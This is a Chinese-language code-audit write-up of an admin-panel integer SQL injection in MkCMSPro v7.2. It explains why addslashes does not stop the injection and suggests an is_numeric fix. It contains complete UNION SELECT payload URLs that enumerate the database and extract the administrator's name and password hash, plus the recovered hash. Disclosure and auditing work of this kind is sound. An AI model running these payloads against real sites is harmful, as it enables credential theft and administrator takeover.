对某CMS的代码审计

下载源码,本地搭设好环境接下来进入正题:

本地环境本版分别为:phpstudy+Apache/2.4.23+php/7.1.9
image

2、登陆后台,得到该版本为CMSPro-v7.2正式版本

漏洞描述:

MkCMSPro-v7.2正式版后台存在sql注入漏洞

漏洞复现

漏洞页面

http://www.mkcms.com/admin/cms_user_edit.php?id=1

http://www.aikcms.com/admin/page/user/user_edit.php?id=1&XDEBUG_SESSION_START=PHPSTORM

使用phpstorm进行调试

通过调试,发现其中的代码其中的library.php文件对传入的GET、POST、参数都使用addslahes_deep()函数进行处理(传入的参数如果如果是一个数组,就会array_map进行递归检测,如果不是一个数组则使用addslahes()函数进行处理,在addslahes处理下,带有' " \都会被转译为 ' " \),但是可以使用整形注入的方式绕过,因为整型注入不会带入' "。

接着往下调试

这里判断是否post设置了save参数,由于post没有设置save参数,所以这里就直接跳过

接着往下走,这里可以发现,这里的sql语句没有进行校验,导致了整形注入

修复办法:在sql语句之前添加

if(!is_numeric($_GET['id'])){
die('非法的输入: '.$_GET['id']);
}

可以发现,这里的$row已经成功查询到结过

接着往下调试,得到输出的回显位置:(回显位置布置这两个)

页面成功回显

构造sqlpayload测试

http://www.mkcms.com/admin/cms_user_edit.php?id=1 union select 1,2,(group_concat(table_name)),database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from information_schema.tables where table_schema=database()

由于有addslahes()函数检测,所以表明需要使用16禁止进行绕过

http://www.mkcms.com/admin/cms_user_edit.php?id=1 union select 1,2,(group_concat(column_name)),database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from information_schema.columns where table_name=0x6d6b636d735f6d616e61676572

http://www.mkcms.com/admin/cms_user_edit.php?id=1 union select 1,2,(group_concat(m_name,0x7e,m_password)),database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from mkcms_manager

成功获取管理员账号和加密密码

使用cmd解密

admin~21232f297a57a5a743894a0e4a801fc3